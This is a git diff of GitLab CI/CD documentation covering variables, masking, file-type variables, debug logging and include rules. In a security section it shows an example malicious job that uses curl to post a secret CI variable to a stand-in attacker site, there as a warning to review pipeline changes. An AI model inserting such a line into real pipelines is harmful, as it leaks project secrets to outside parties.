-``` +Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: -#### Store multiple values in one variable +- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project). +- Merge the changes. -It is not possible to create a CI/CD variable that is an array of values, but you -can use shell scripting techniques for similar behavior. +Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them. -For example, you can store multiple variables separated by a space in a variable, -then loop through the values with a script: +The following example shows malicious code in a `.gitlab-ci.yml` file: ```yaml -job1: - variables: - FOLDERS: src test docs +build: script: - - | - for FOLDER in $FOLDERS - do - echo "The path is root/${FOLDER}" - done + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + ### Mask a CI/CD variable > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330650) in GitLab 13.12, the `~` character can be used in masked variables. @@ -360,7 +256,7 @@ WARNING: Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing variable values. The masking feature is "best-effort" and there to help when a variable is accidentally revealed. To make variables more secure, -consider using [external secrets](../secrets/index.md) and [file type variables](#cicd-variable-types) +consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) to prevent commands such as `env`/`printenv` from printing secret variables. Runner versions implement masking in different ways, some with technical @@ -372,7 +268,7 @@ limitations. Below is a table of such limitations. | v14.2.0 | v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | | v15.7.0 | | Potential for secrets to be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | -### Protected CI/CD variables +### Protect a CI/CD variable You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on [protected branches](../../user/project/protected_branches.md) @@ -394,60 +290,61 @@ To mark a variable as protected: The variable is available for all subsequent pipelines. -### Expand CI/CD variables +### Use file type CI/CD variables -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 13.7. +All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file +are `Variable` type. Project, group and instance CI/CD variables can be `Variable` +or `File` type. -Expanded variables treat values with the `$` character as a reference to another variable. CI/CD variables are expanded -by default. +`Variable` type variables: -To treat variables with a `$` character as raw strings, disable variable expansion for the variable: +- Consist of a key and value pair. +- Are made available in jobs as environment variables, with: + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value as the environment variable value. -1. In the project or group, go to **Settings > CI/CD**. -1. Expand the **Variables** section. -1. Next to the variable you want to do not want expanded, select **Edit**. -1. Clear the **Expand variable** checkbox. -1. Select **Update variable**. +Use `File` type CI/CD variables for tools that need a file as input. -### CI/CD variable security +`File` type variables: -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables -and send them to a third party server regardless of the masked setting. If the pipeline -runs on a [protected branch](../../user/project/protected_branches.md) or -[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. +- Consist of a key, value and file. +- Are made available in jobs as environment variables, with + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value saved to a temporary file. + - The path to the temporary file as the environment variable value. -Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: +Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) +use `File` type variables for configuration. -- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project). -- Merge the changes. +For example, if you have the following variables: -Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them. +- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. +- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. -The following example shows malicious code in a `.gitlab-ci.yml` file: +Use the variables in a job script like this: -```yaml -build: - script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" +```shell +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" ``` -Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) -and stored in the database. This data can only be read and decrypted with a -valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). - -### Custom variables validated by GitLab +WARNING: +Be careful when assigning the value of a file variable to another variable. The other +variable takes the content of the file as its value, **not** the path to the file. +See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. -Some variables are listed in the UI so you can choose them more quickly. +An alternative to `File` type variables is to: -| Variable | Allowed Values | Introduced in | -|-------------------------|----------------------------------------------------|---------------| -| `AWS_ACCESS_KEY_ID` | Any | 12.10 | -| `AWS_DEFAULT_REGION` | Any | 12.10 | -| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | +- Read the value of a CI/CD variable (`variable` type). +- Save the value in a file. +- Use that file in your script. -WARNING: -When you store credentials, there are [security implications](#cicd-variable-security). -If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). +```shell +# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file +echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" +# Pass the newly created file to kubectl +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +``` ## Use CI/CD variables in job scripts @@ -457,7 +354,7 @@ shell. To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/). -### Use variables with Bash, `sh` and similar +### With Bash, `sh` and similar To access environment variables in Bash, `sh`, and similar shells, prefix the CI/CD variable with (`$`): @@ -468,7 +365,7 @@ job_name: - echo "$CI_JOB_ID" ``` -### Use variables with PowerShell +### With PowerShell To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with (`$env:`) or (`$`): @@ -490,7 +387,7 @@ job_name: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test ``` -### Use variables with Windows Batch +### With Windows Batch To access CI/CD variables in Windows Batch, surround the variable with `%`: @@ -510,48 +407,7 @@ job_name: - echo !ERROR_MESSAGE! ``` -### List all environment variables - -You can list all environment variables available to a script with the `export` command -in Bash or `dir env:` in PowerShell. This exposes the values of **all** available -variables, which can be a [security risk](#cicd-variable-security). -[Masked variables](#mask-a-cicd-variable) display as `[masked]`. - -For example: - -```yaml -job_name: - script: - - export - # - 'dir env:' # Use this for PowerShell -``` - -Example job log output (truncated): - -```shell -export CI_JOB_ID="50" -export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" -export CI_COMMIT_SHORT_SHA="1ecfd275" -export CI_COMMIT_REF_NAME="main" -export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" -export CI_COMMIT_TAG="1.0.0" -export CI_JOB_NAME="spec:other" -export CI_JOB_STAGE="test" -export CI_JOB_MANUAL="true" -export CI_JOB_TRIGGERED="true" -export CI_JOB_TOKEN="[masked]" -export CI_PIPELINE_ID="1000" -export CI_PIPELINE_IID="10" -export CI_PAGES_DOMAIN="gitlab.io" -export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" -export CI_PROJECT_ID="34" -export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" -export CI_PROJECT_NAME="gitlab-foss" -export CI_PROJECT_TITLE="GitLab FOSS" -... -``` - -## Pass an environment variable to another job +### Pass an environment variable to another job > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. @@ -566,7 +422,7 @@ they can be used in job scripts. - Each defined line must be of the form `VARIABLE_NAME=ANY VALUE HERE`. - Values can be wrapped in quotes, but cannot contain newline characters. 1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv) -artifact. + artifact. 1. Jobs in later stages can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). Inherited variables [take precedence](#cicd-variable-precedence) over @@ -616,7 +472,6 @@ deploy_one: name: customer1 deployment_tier: production - deploy_two: stage: deploy script: @@ -636,7 +491,6 @@ deploy_three: name: customer3 deployment_tier: production - deploy_four: stage: deploy script: @@ -663,6 +517,67 @@ deploy_five: [Multi-project pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) can also inherit variables from their upstream pipelines. +### Store multiple values in one variable + +You cannot create a CI/CD variable that is an array of values, but you +can use shell scripting techniques for similar behavior. + +For example, you can store multiple variables separated by a space in a variable, +then loop through the values with a script: + +```yaml +job1: + variables: + FOLDERS: src test docs + script: + - | + for FOLDER in $FOLDERS + do + echo "The path is root/${FOLDER}" + done +``` + +## Use CI/CD variables in other variables + +You can use variables inside other variables: + +```yaml +job: + variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS"' + script: + - 'eval "$LS_CMD"' # Executes 'ls -al' +``` + +### Use the `$` character in CI/CD variables + +If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: + +```yaml +job: + variables: + FLAGS: '-al' + LS_CMD: 'ls "$FLAGS" $$TMP_DIR' + script: + - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' +``` + +### Prevent CI/CD variable expansion + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 15.7. + +Expanded variables treat values with the `$` character as a reference to another variable. +CI/CD variables are expanded by default. + +To treat variables with a `$` character as raw strings, disable variable expansion for the variable: + +1. In the project or group, go to **Settings > CI/CD**. +1. Expand the **Variables** section. +1. Next to the variable you want to do not want expanded, select **Edit**. +1. Clear the **Expand variable** checkbox. +1. Select **Update variable**. + ## CI/CD variable precedence You can use CI/CD variables with the same name in different places, but the values @@ -676,16 +591,16 @@ The order of precedence for variables is (from highest to lowest): - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). - [Manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). - Variables added when [creating a pipeline with the API](../../api/pipelines.md#create-a-new-pipeline). -1. Project [variables](#custom-cicd-variables). -1. Group [variables](#add-a-cicd-variable-to-a-group). If the same variable name exists in a +1. Project [variables](#for-a-project). +1. Group [variables](#for-a-group). If the same variable name exists in a group and its subgroups, the job uses the value from the closest subgroup. For example, if you have `Group > Subgroup 1 > Subgroup 2 > Project`, the variable defined in `Subgroup 2` takes precedence. -1. Instance [variables](#add-a-cicd-variable-to-an-instance). +1. Instance [variables](#for-an-instance). 1. [Inherited variables](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. -1. [Deployment variables](#deployment-variables). +1. [Deployment variables](predefined_variables.md#deployment-variables). 1. [Predefined variables](predefined_variables.md). In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. @@ -702,7 +617,7 @@ job1: - echo "The variable value is $API_TOKEN" ``` -## Override a defined CI/CD variable +### Override a defined CI/CD variable You can override the value of a variable when you: @@ -743,46 +658,66 @@ use this setting for control over the environment the pipeline runs in. You can enable this feature by using [the projects API](../../api/projects.md#edit-project) to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. -## Limit the environment scope of a CI/CD variable +## Related topics -By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a -compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is -a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting -the environment scope of a variable. GitLab does this by -[defining which environments and corresponding jobs](../environments/index.md) -the variable can be available for. +- You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables + to a running application. To make a CI/CD variable available as an environment variable in the running application's container, + [prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables) + with `K8S_SECRET_`. -To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scope-environments-with-specs). +- The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) + video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) + working example project. It explains how multiple levels of group CI/CD variables + can be combined with environment-scoped project variables for complex configuration + of application builds or deployments. -To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected -branches or tags, see [Protected CI/CD variables](#protected-cicd-variables). + The example can be copied to your own group or instance for testing. More details + on what other GitLab CI patterns are demonstrated are available at the project page. -## Deployment variables +## Troubleshooting -Integrations that are responsible for deployment configuration can define their own -variables that are set in the build environment. These variables are only defined -for [deployment jobs](../environments/index.md). +### List all variables -For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables) -defines deployment variables that you can use with the integration. - -The [documentation for each integration](../../user/project/integrations/index.md) -explains if the integration has any deployment variables available. - -## Auto DevOps environment variables +You can list all variables available to a script with the `export` command +in Bash or `dir env:` in PowerShell. This exposes the values of **all** available +variables, which can be a [security risk](#cicd-variable-security). +[Masked variables](#mask-a-cicd-variable) display as `[masked]`. -You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables -to a running application. +For example: -To make a CI/CD variable available as an environment variable in the running application's container, -[prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables) -with `K8S_SECRET_`. +```yaml +job_name: + script: + - export + # - 'dir env:' # Use this for PowerShell +``` -CI/CD variables with multi-line values are not supported. +Example job log output (truncated): -## Debug logging +```shell +export CI_JOB_ID="50" +export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" +export CI_COMMIT_SHORT_SHA="1ecfd275" +export CI_COMMIT_REF_NAME="main" +export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" +export CI_COMMIT_TAG="1.0.0" +export CI_JOB_NAME="spec:other" +export CI_JOB_STAGE="test" +export CI_JOB_MANUAL="true" +export CI_JOB_TRIGGERED="true" +export CI_JOB_TOKEN="[masked]" +export CI_PIPELINE_ID="1000" +export CI_PIPELINE_IID="10" +export CI_PAGES_DOMAIN="gitlab.io" +export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss" +export CI_PROJECT_ID="34" +export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss" +export CI_PROJECT_NAME="gitlab-foss" +export CI_PROJECT_TITLE="GitLab FOSS" +... +``` -> Introduced in GitLab Runner 1.7. +### Enable debug logging WARNING: Debug logging can be a serious security risk. The output contains the content of @@ -798,8 +733,6 @@ Before you enable debug logging, make sure only team members can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) with debug output before you make logs public again. -### Enable Debug logging - To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: ```yaml @@ -881,7 +814,7 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then ... ``` -### Restrict access to debug logging +#### Restrict access to debug logging > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8. @@ -890,21 +823,10 @@ You can restrict access to debug logging. When restricted, only users with at least the Developer role can view job logs when debug logging is enabled with a variable in: -- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- The [`.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). - The CI/CD variables set in the GitLab UI. WARNING: If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible to all users with access to job logs. The permission levels are not checked by the runner, so you should only use the variable in GitLab itself. - -## Video walkthrough of a working example - -The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck) -video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo) -working example project. It explains how multiple levels of group CI/CD variables -can be combined with environment-scoped project variables for complex configuration -of application builds or deployments. - -The example can be copied to your own group or instance for testing. More details -on what other GitLab CI patterns are demonstrated are available at the project page. diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index d7f67b79416..b9557b98066 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -11,7 +11,7 @@ Predefined [CI/CD variables](index.md) are available in every GitLab CI/CD pipel Some variables are only available with more recent versions of [GitLab Runner](https://docs.gitlab.com/runner/). -You can [output the values of all variables available for a job](index.md#list-all-environment-variables) +You can [output the values of all variables available for a job](index.md#list-all-variables) with a `script` command. There are also a number of [variables you can use to configure runner behavior](../runners/configure_runners.md#configure-runner-behavior-with-variables) globally or for individual jobs. @@ -45,7 +45,7 @@ as it can cause the pipeline to behave unexpectedly. | `CI_CONCURRENT_ID` | all | 11.10 | The unique ID of build execution in a single executor. | | `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | The unique ID of build execution in a single executor and project. | | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to the CI/CD configuration file. Defaults to `.gitlab-ci.yml`. Read-only inside a running pipeline. | -| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#debug-logging) is enabled. | +| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#enable-debug-logging) is enabled. | | `CI_DEBUG_SERVICES` | 15.7 | 15.7 | `true` if [service container logging](../services/index.md#capturing-service-container-logs) is enabled. | | `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the project's default branch. | | `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The top-level group image prefix for pulling images through the Dependency Proxy. | @@ -135,10 +135,10 @@ as it can cause the pipeline to behave unexpectedly. | `CI_TEMPLATE_REGISTRY_HOST` | 15.3 | all | The host of the registry used by CI/CD templates. Defaults to `registry.gitlab.com`. | | `GITLAB_CI` | all | all | Available for all jobs executed in CI/CD. `true` when available. | | `GITLAB_FEATURES` | 10.6 | all | The comma-separated list of licensed features available for the GitLab instance and license. | -| `GITLAB_USER_EMAIL` | 8.12 | all | The email of the user who started the job. | -| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the job. | -| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the job. | -| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the job. | +| `GITLAB_USER_EMAIL` | 8.12 | all | The email of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the email of the user who started the job. | +| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the ID of the user who started the job. | +| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the username of the user who started the job. | +| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the name of the user who started the job. | | `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/index.md#use-a-webhook-payload). | ## Predefined variables for merge request pipelines @@ -189,3 +189,15 @@ These variables are only available when: | `CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the source branch of the pull request. | | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | 12.3 | all | The target branch name of the pull request. | | `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the target branch of the pull request. | + +## Deployment variables + +Integrations that are responsible for deployment configuration can define their own +predefined variables that are set in the build environment. These variables are only defined +for [deployment jobs](../environments/index.md). + +For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables) +defines deployment variables that you can use with the integration. + +The [documentation for each integration](../../user/project/integrations/index.md) +explains if the integration has any deployment variables available. diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md index 88d0c9a2454..6ea1f454467 100644 --- a/doc/ci/variables/where_variables_can_be_used.md +++ b/doc/ci/variables/where_variables_can_be_used.md @@ -36,6 +36,7 @@ There are two places defined variables can be used. On the: | [`include`](../yaml/index.md#include) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. <br/><br/>See [Use variables with include](../yaml/includes.md#use-variables-with-include) for more information on supported variables. | | [`only:variables`](../yaml/index.md#onlyvariables--exceptvariables) | no | Not applicable | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- `CI_ENVIRONMENT_*` variables, except `CI_ENVIRONMENT_NAME` which is supported.<br/>- [Persisted variables](#persisted-variables). | | [`resource_group`](../yaml/index.md#resource_group) | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/>- `CI_ENVIRONMENT_URL`<br/>- [Persisted variables](#persisted-variables). | +| [`rules:changes`](../yaml/index.md#ruleschanges) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. | | [`rules:exists`](../yaml/index.md#rulesexists) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. | | [`rules:if`](../yaml/index.md#rulesif) | no | Not applicable | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- `CI_ENVIRONMENT_*` variables, except `CI_ENVIRONMENT_NAME` which is supported.<br/>- [Persisted variables](#persisted-variables). | | [`script`](../yaml/index.md#script) | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment). | diff --git a/doc/ci/yaml/artifacts_reports.md b/doc/ci/yaml/artifacts_reports.md index e12786f06ce..38b0ab1f0a3 100644 --- a/doc/ci/yaml/artifacts_reports.md +++ b/doc/ci/yaml/artifacts_reports.md @@ -115,8 +115,8 @@ collected code quality report uploads to GitLab as an artifact. GitLab can display the results of one or more reports in: -- The merge request [code quality widget](../testing/code_quality.md#code-quality-widget). -- The merge request [diff annotations](../testing/code_quality.md#code-quality-in-diff-view). +- The merge request [code quality widget](../testing/code_quality.md#merge-request-widget). +- The merge request [diff annotations](../testing/code_quality.md#merge-request-changes-view). - The [full report](../testing/metrics_reports.md). ## `artifacts:reports:container_scanning` **(ULTIMATE)** diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index daf2e653250..b1f43a4679b 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -56,7 +56,7 @@ You can include an array of configuration files: - template: Auto-DevOps.gitlab-ci.yml ``` -- You can define an array that combines both default and specific `include` type: +- You can define an array that combines both default and specific `include` types: ```yaml include: @@ -290,9 +290,9 @@ smoke-test-job: In `include` sections in your `.gitlab-ci.yml` file, you can use: -- [Project variables](../variables/index.md#add-a-cicd-variable-to-a-project). -- [Group variables](../variables/index.md#add-a-cicd-variable-to-a-group). -- [Instance variables](../variables/index.md#add-a-cicd-variable-to-an-instance). +- [Project variables](../variables/index.md#for-a-project). +- [Group variables](../variables/index.md#for-a-group). +- [Instance variables](../variables/index.md#for-an-instance). - Project [predefined variables](../variables/predefined_variables.md). - In GitLab 14.2 and later, the `$CI_COMMIT_REF_NAME` [predefined variable](../variables/predefined_variables.md). @@ -333,52 +333,82 @@ see this [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos). ## Use `rules` with `include` > - Introduced in GitLab 14.2 [with a flag](../../administration/feature_flags.md) named `ci_include_rules`. Disabled by default. -> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.3. -> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) GitLab 14.3. -> - [Feature flag `ci_include_rules` removed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. -> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. +> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.3. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. Feature flag `ci_include_rules` removed. > - [Support for `exists` keyword added](https://gitlab.com/gitlab-org/gitlab/-/issues/341511) in GitLab 14.5. You can use [`rules`](index.md#rules) with `include` to conditionally include other configuration files. -You can only use the following rules with `include` (and only with [certain variables](#use-variables-with-include)): +You can only use `rules` with [certain variables](#use-variables-with-include), and +these keywords: -- [`if` rules](index.md#rulesif). For example: +- [`rules:if`](index.md#rulesif). +- [`rules:exists`](index.md#rulesexists). - ```yaml - include: - - local: builds.yml - rules: - - if: $INCLUDE_BUILDS == "true" - - local: deploys.yml - rules: - - if: $CI_COMMIT_BRANCH == "main" - - test: - stage: test - script: exit 0 - ``` +You cannot use [`needs:`](index.md#needs) to create a job dependency that points to +a job added with `include:local:rules`. When the configuration is validated, +GitLab returns `undefined need: <job-name>`. [Issue 345377](https://gitlab.com/gitlab-org/gitlab/-/issues/345377) +proposes improving this behavior. -- [`exists` rules](index.md#rulesexists). For example: +### `include` with `rules:if` - ```yaml - include: - - local: builds.yml - rules: - - exists: - - file.md - - test: - stage: test - script: exit 0 - ``` +Use [`rules:if`](index.md#rulesif) to conditionally include other configuration files +based on the status of CI/CD variables. For example: -`rules` keyword `changes` is not supported. +```yaml +include: + - local: builds.yml + rules: + - if: $INCLUDE_BUILDS == "true" + - local: deploys.yml + rules: + - if: $CI_COMMIT_BRANCH == "main" + +test: + stage: test + script: exit 0 +``` -You cannot use [`needs:`](index.md#needs) to create a job dependency that points to -a job added with `include:local:rules`. When the configuration is checked for validity, -GitLab returns `undefined need: <job-name>`. An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/345377) -to improve this behavior. +### `include` with `rules:exists` + +Use [`rules:exists`](index.md#rulesexists) to conditionally include other configuration files +based on the existence of files. For example: + +```yaml +include: + - local: builds.yml + rules: + - exists: + - file.md + +test: + stage: test + script: exit 0 +``` + +In this example, GitLab checks for the existence of `file.md` in the current project. + +There is a known issue if you configure `include` with `rules:exists` to add a configuration file +from a different project. GitLab checks for the existence of the file in the _other_ project. +For example: + +```yaml +include: +- project: my-group/my-project-2 + ref: main + file: test-file.yml + rules: + - exists: + - file.md + +test: + stage: test + script: exit 0 +``` + +In this example, GitLab checks for the existence of `test-file.yml` in `my-group/my-project-2`, +not the current project. Follow [issue 386040](https://gitlab.com/gitlab-org/gitlab/-/issues/386040) +for information about work to improve this behavior. ## Use `include:local` with wildcard file paths diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md index dffe409b193..3796eed54e1 100644 --- a/doc/ci/yaml/index.md +++ b/doc/ci/yaml/index.md @@ -171,7 +171,7 @@ the time limit to resolve all files is 30 seconds. #### `include:local` -Use `include:local` to include a file that is in the same repository as the `.gitlab-ci.yml` file. +Use `include:local` to include a file that is in the same repository as the project running the pipeline. Use `include:local` instead of symbolic links. **Keyword type**: Global keyword. @@ -397,10 +397,7 @@ Use [`workflow`](workflow.md) to control pipeline behavior. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/372538) in GitLab 15.5 [with a flag](../../administration/feature_flags.md) named `pipeline_name`. Disabled by default. > - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/376095) in GitLab 15.7. - -FLAG: -On self-managed GitLab, by default this feature is available. To hide the feature, -ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `pipeline_name`. +> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/376095) in GitLab 15.8. Feature flag `pipeline_name` removed. You can use `name` in `workflow:` to define a name for pipelines. @@ -669,6 +666,7 @@ In this example, `job1` and `job2` run in parallel: **Additional details**: - You can use `allow_failure` as a subkey of [`rules`](#rulesallow_failure). +- If `allow_failure: true` is set, the job is always considered successful, and later jobs with [`when: on_failure`](#when) don't start if this job fails. - You can use `allow_failure: false` with a manual job to create a [blocking manual job](../jobs/job_control.md#types-of-manual-jobs). A blocked pipeline does not run any jobs in later stages until the manual job is started and completes successfully. @@ -1003,7 +1001,7 @@ rspec: - Combining reports in parent pipelines using [artifacts from child pipelines](#needspipelinejob) is not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725). -- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This will upload and store the artifact twice. +- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This uploads and stores the artifact twice. - The test reports are collected regardless of the job results (success or failure). You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration date for artifacts reports. @@ -1103,10 +1101,16 @@ job: ### `cache` +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330047) in GitLab 15.0, caches are not shared between protected and unprotected branches. + Use `cache` to specify a list of files and directories to cache between jobs. You can only use paths that are in the local working copy. -Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts). +Caches are: + +- Shared between pipelines and jobs. +- By default, not shared between [protected](../../user/project/protected_branches.md) and unprotected branches. +- Restored before [artifacts](#artifacts). Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md). @@ -1142,6 +1146,10 @@ rspec: - .config ``` 